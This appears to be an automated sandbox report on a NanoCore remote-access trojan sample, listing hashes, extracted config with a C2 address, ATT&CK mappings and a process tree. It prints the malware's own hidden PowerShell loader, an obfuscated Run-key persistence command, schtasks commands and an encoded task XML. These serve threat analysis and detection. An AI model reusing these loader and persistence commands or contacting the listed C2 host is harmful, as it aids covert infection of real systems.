nanocore | a7904a9abf1b208434c7e06b7d7c0d86ff150660b436eebd5d2a837c1bc51e21

General

Target

e0dfee6241128b7395b5fd0d8f6ebe20_NeikiAnalytics.exe
Size

689KB
MD5

e0dfee6241128b7395b5fd0d8f6ebe20
SHA1

a1351dfa6c71e46c155f43e91538af2ababa5c5a
SHA256

a7904a9abf1b208434c7e06b7d7c0d86ff150660b436eebd5d2a837c1bc51e21
SHA512

06c609efa598c9df65cd2339dfa96d66658030fe9066daa7936a93de36c9026d822a7692f90e94b107b5fd7c6744091d7de5d943289f9078fa4aff44ca08e3b2
SSDEEP

12288:BEwtNzCu2HjdSqvXO6KoDP46aJkOReOjDSIWzRgmYW9+:6y/2DB+8XfORecSISRNYW9+

Score

10^/10

nanocore execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

184.75.223.235:7425

Mutex

08ef4235-7a50-4f21-9618-7cf8d1e59e43

Attributes

activate_away_mode
true
backup_connection_host
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2024-02-09T12:58:05.780785736Z
bypass_user_account_control
false
bypass_user_account_control_data
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvIC8+DQogIDxUcmlnZ2VycyAvPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+SGlnaGVzdEF2YWlsYWJsZTwvUnVuTGV2ZWw+DQogICAgPC9QcmluY2lwYWw+DQogIDwvUHJpbmNpcGFscz4NCiAgPFNldHRpbmdzPg0KICAgIDxNdWx0aXBsZUluc3RhbmNlc1BvbGljeT5QYXJhbGxlbDwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+DQogICAgPERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPmZhbHNlPC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcz4NCiAgICA8U3RvcElmR29pbmdPbkJhdHRlcmllcz5mYWxzZTwvU3RvcElmR29pbmdPbkJhdHRlcmllcz4NCiAgICA8QWxsb3dIYXJkVGVybWluYXRlPnRydWU8L0FsbG93SGFyZFRlcm1pbmF0ZT4NCiAgICA8U3RhcnRXaGVuQXZhaWxhYmxlPmZhbHNlPC9TdGFydFdoZW5BdmFpbGFibGU+DQogICAgPFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+ZmFsc2U8L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+DQogICAgPElkbGVTZXR0aW5ncz4NCiAgICAgIDxTdG9wT25JZGxlRW5kPmZhbHNlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT40PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiIjRVhFQ1VUQUJMRVBBVEgiPC9Db21tYW5kPg0KICAgICAgPEFyZ3VtZW50cz4kKEFyZzApPC9Bcmd1bWVudHM+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
7425
default_group
Default
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
08ef4235-7a50-4f21-9618-7cf8d1e59e43
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
184.75.223.235
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
false
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2904 powershell.exe

pid	process
2904	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exeImagingDevices.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\Dveskolen = "%Shoresman% -windowstyle minimized $Devoto=(Get-ItemProperty -Path 'HKCU:\\Ionized\\').Arbejdspligt;%Shoresman% ($Devoto)"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\DHCP Host = "C:\\Program Files (x86)\\DHCP Host\\dhcphost.exe"	ImagingDevices.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

3 drive.google.com
5 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

ImagingDevices.exe

pid process

2552 ImagingDevices.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exeImagingDevices.exe

pid process

2904 powershell.exe
2552 ImagingDevices.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2904 set thread context of 2552 2904 powershell.exe ImagingDevices.exe

flow	ioc
3	drive.google.com
5	drive.google.com

pid	process
2552	ImagingDevices.exe

pid	process
2904	powershell.exe
2552	ImagingDevices.exe

description	pid	process	target process
PID 2904 set thread context of 2552	2904	powershell.exe	ImagingDevices.exe

Drops file in Program Files directory 2 IoCs

Processes:

ImagingDevices.exe

description	ioc	process
File created	C:\Program Files (x86)\DHCP Host\dhcphost.exe	ImagingDevices.exe
File opened for modification	C:\Program Files (x86)\DHCP Host\dhcphost.exe	ImagingDevices.exe

Drops file in Windows directory 1 IoCs

Processes:

e0dfee6241128b7395b5fd0d8f6ebe20_NeikiAnalytics.exe

description ioc process

File opened for modification C:\Windows\Ligaturers216\irkas.unm e0dfee6241128b7395b5fd0d8f6ebe20_NeikiAnalytics.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1652 schtasks.exe
2256 schtasks.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2424 reg.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exe

pid process

2904 powershell.exe
2904 powershell.exe
2904 powershell.exe
2904 powershell.exe
2904 powershell.exe
2904 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2904 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2904 powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Ligaturers216\irkas.unm	e0dfee6241128b7395b5fd0d8f6ebe20_NeikiAnalytics.exe

pid	process
1652	schtasks.exe
2256	schtasks.exe

pid	process
2424	reg.exe

pid	process
2904	powershell.exe
2904	powershell.exe
2904	powershell.exe
2904	powershell.exe
2904	powershell.exe
2904	powershell.exe

pid	process
2904	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2904	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

e0dfee6241128b7395b5fd0d8f6ebe20_NeikiAnalytics.exepowershell.exeImagingDevices.execmd.exe

description	pid	process	target process
PID 2240 wrote to memory of 2904	2240	e0dfee6241128b7395b5fd0d8f6ebe20_NeikiAnalytics.exe	powershell.exe
PID 2240 wrote to memory of 2904	2240	e0dfee6241128b7395b5fd0d8f6ebe20_NeikiAnalytics.exe	powershell.exe
PID 2240 wrote to memory of 2904	2240	e0dfee6241128b7395b5fd0d8f6ebe20_NeikiAnalytics.exe	powershell.exe
PID 2240 wrote to memory of 2904	2240	e0dfee6241128b7395b5fd0d8f6ebe20_NeikiAnalytics.exe	powershell.exe
PID 2904 wrote to memory of 2584	2904	powershell.exe	cmd.exe
PID 2904 wrote to memory of 2584	2904	powershell.exe	cmd.exe
PID 2904 wrote to memory of 2584	2904	powershell.exe	cmd.exe
PID 2904 wrote to memory of 2584	2904	powershell.exe	cmd.exe
PID 2904 wrote to memory of 2552	2904	powershell.exe	ImagingDevices.exe
PID 2904 wrote to memory of 2552	2904	powershell.exe	ImagingDevices.exe
PID 2904 wrote to memory of 2552	2904	powershell.exe	ImagingDevices.exe
PID 2904 wrote to memory of 2552	2904	powershell.exe	ImagingDevices.exe
PID 2904 wrote to memory of 2552	2904	powershell.exe	ImagingDevices.exe
PID 2904 wrote to memory of 2552	2904	powershell.exe	ImagingDevices.exe
PID 2552 wrote to memory of 2492	2552	ImagingDevices.exe	cmd.exe
PID 2552 wrote to memory of 2492	2552	ImagingDevices.exe	cmd.exe
PID 2552 wrote to memory of 2492	2552	ImagingDevices.exe	cmd.exe
PID 2552 wrote to memory of 2492	2552	ImagingDevices.exe	cmd.exe
PID 2492 wrote to memory of 2424	2492	cmd.exe	reg.exe
PID 2492 wrote to memory of 2424	2492	cmd.exe	reg.exe
PID 2492 wrote to memory of 2424	2492	cmd.exe	reg.exe
PID 2492 wrote to memory of 2424	2492	cmd.exe	reg.exe
PID 2552 wrote to memory of 2256	2552	ImagingDevices.exe	schtasks.exe
PID 2552 wrote to memory of 2256	2552	ImagingDevices.exe	schtasks.exe
PID 2552 wrote to memory of 2256	2552	ImagingDevices.exe	schtasks.exe
PID 2552 wrote to memory of 2256	2552	ImagingDevices.exe	schtasks.exe
PID 2552 wrote to memory of 1652	2552	ImagingDevices.exe	schtasks.exe
PID 2552 wrote to memory of 1652	2552	ImagingDevices.exe	schtasks.exe
PID 2552 wrote to memory of 1652	2552	ImagingDevices.exe	schtasks.exe
PID 2552 wrote to memory of 1652	2552	ImagingDevices.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\e0dfee6241128b7395b5fd0d8f6ebe20_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\e0dfee6241128b7395b5fd0d8f6ebe20_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Hndelig=Get-Content 'C:\Users\Admin\AppData\Roaming\archprimate\sensationslysten\rippon.Ion';$Geocyclic=$Hndelig.SubString(53435,3);.$Geocyclic($Hndelig)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2904

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
3⤵
PID:2584

C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
"C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
3⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2552

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dveskolen" /t REG_EXPAND_SZ /d "%Shoresman% -windowstyle minimized $Devoto=(Get-ItemProperty -Path 'HKCU:\Ionized\').Arbejdspligt;%Shoresman% ($Devoto)"
4⤵
- Suspicious use of WriteProcessMemory
PID:2492

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dveskolen" /t REG_EXPAND_SZ /d "%Shoresman% -windowstyle minimized $Devoto=(Get-ItemProperty -Path 'HKCU:\Ionized\').Arbejdspligt;%Shoresman% ($Devoto)"
5⤵
- Adds Run key to start application
- Modifies registry key
PID:2424

C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /create /f /tn "DHCP Host" /xml "C:\Users\Admin\AppData\Local\Temp\tmp49FD.tmp"
4⤵
- Creates scheduled task(s)
PID:2256

C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /create /f /tn "DHCP Host Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp4A5C.tmp"
4⤵
- Creates scheduled task(s)
PID:1652

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

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C:\Users\Admin\AppData\Local\Temp\tmp49FD.tmp
Filesize
1KB

MD5
71ead0a0a3d5f5ab1c6fe7e937fbb0a7

SHA1
5ce6d119d57d1e536f5f8fe9b88e84bff5bc65f4

SHA256
320e3d1c9de524bd09da80c102590ca1de02878947a5bd9cf6ce41ec80d627ef

SHA512
5ff26e793041c37dee51b336e4b82bfc42b5a132b5a1bb975c7e201bedb3a384f3c44ed560b800a0b0830d2eaebd671288ab47f06cfe553da5a99b29ebeab3d0

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C:\Users\Admin\AppData\Local\Temp\tmp4A5C.tmp
Filesize
1KB

MD5
0479d5f304ef2d7e3c15fb24a99f88c1

SHA1
8edbb1450a656fac5f5e96779ffe440ee8c1aec9

SHA256
112557c2b2d0c669a3b115129dc32f005341e965330fa8f2ad3e5de1926594bc

SHA512
537e8d87e5cd975f0e69bb145f81d6e9d7b0d82eed143ac351304ea38577137386a51fdb7357ec6d641eb04ff5f51e249bba2db8a4b5bf2934d561394a4a3f15

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C:\Users\Admin\AppData\Roaming\archprimate\sensationslysten\Appliceringernes.Bra
Filesize
327KB

MD5
3b52e8ccc5c3e79f2c3bd9878f7c72bd

SHA1
d341fa8bdab55d08c942d45bd0cd2cf11d5b26e4

SHA256
c5426f693d6484c5e42a66d03f3422587a4b328dc8432f305458d1e0f3e1ee78

SHA512
6c78f6d5f1e5e4f983718e78fca14bab3e17c753cabe36c2f4e95be0406acdd32d980e2328640acb9eba439c26b5d268a1fbcfc3b4d5abf7970064f5b286dd19

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C:\Users\Admin\AppData\Roaming\archprimate\sensationslysten\rippon.Ion
Filesize
52KB

MD5
1067aadf3627bd86f4048db52f577636

SHA1
682d902c4223a31fb3abf3236194b177813d662f

SHA256
0b4823813f85cbf0259d04a24fa6ee9dc00c612896201fdf1793928a3883c0d4

SHA512
d9331366473d373535cca3db7b364fe3371cdef889be61cd052249ee42d1d1aae8da696dc88e2094bfda8eda2cda1b6da36e16cf5e5f92d66296941ec6aca377

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memory/2552-30-0x0000000000980000-0x00000000019E2000-memory.dmp

Filesize
16.4MB

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memory/2552-32-0x0000000000980000-0x00000000009BA000-memory.dmp

Filesize
232KB

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memory/2552-40-0x000000001DC10000-0x000000001DC1A000-memory.dmp

Filesize
40KB

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memory/2904-8-0x00000000065B0000-0x00000000071C5000-memory.dmp

Filesize
12.1MB

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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